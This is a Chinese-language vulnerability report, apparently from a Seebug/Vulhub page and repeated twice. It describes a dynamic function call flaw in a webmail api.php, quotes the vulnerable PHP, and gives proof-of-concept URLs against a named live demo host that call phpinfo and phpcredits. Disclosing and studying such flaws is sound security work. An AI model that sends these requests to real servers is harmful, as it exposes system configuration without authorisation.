VULHUB ™

### 简要描述： RT ### 详细说明： 漏洞文件：api/api.php:670行 ``` $do = trim( $_GET['do'] ); if ( function_exists( $do ) ) { $do( ); } else { echo "param_error"; } exit( ); ``` 直接来个动态函数，可惜没有参数可控，只能控制$do,所以可以鸡肋的用来读些敏感信息如phpinfo()/phpcredits()等 ### 漏洞证明： 官网demo: ``` http://mail.comingchina.com/webmail/api/api.php?do=phpinfo ``` [<img src="https://images.seebug.org/upload/201407/292110252e33e735afd7f02e28930fe3fe923d9e.png" alt="QQ20140729-1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/292110252e33e735afd7f02e28930fe3fe923d9e.png) ``` http://mail.comingchina.com/webmail/api/api.php?do=phpcredits ``` [<img src="https://images.seebug.org/upload/201407/292110440fee3eb015be8070a5c95deb734d56d0.png" alt="QQ20140729-2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/292110440fee3eb015be8070a5c95deb734d56d0.png) [<img src="https://images.seebug.org/upload/201407/292110562570ad5d8607378a5b2ed73af35d9cea.png"...

### 简要描述： RT ### 详细说明： 漏洞文件：api/api.php:670行 ``` $do = trim( $_GET['do'] ); if ( function_exists( $do ) ) { $do( ); } else { echo "param_error"; } exit( ); ``` 直接来个动态函数，可惜没有参数可控，只能控制$do,所以可以鸡肋的用来读些敏感信息如phpinfo()/phpcredits()等 ### 漏洞证明： 官网demo: ``` http://mail.comingchina.com/webmail/api/api.php?do=phpinfo ``` [<img src="https://images.seebug.org/upload/201407/292110252e33e735afd7f02e28930fe3fe923d9e.png" alt="QQ20140729-1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/292110252e33e735afd7f02e28930fe3fe923d9e.png) ``` http://mail.comingchina.com/webmail/api/api.php?do=phpcredits ``` [<img src="https://images.seebug.org/upload/201407/292110440fee3eb015be8070a5c95deb734d56d0.png" alt="QQ20140729-2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/292110440fee3eb015be8070a5c95deb734d56d0.png) [<img src="https://images.seebug.org/upload/201407/292110562570ad5d8607378a5b2ed73af35d9cea.png" alt="QQ20140729-3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/292110562570ad5d8607378a5b2ed73af35d9cea.png)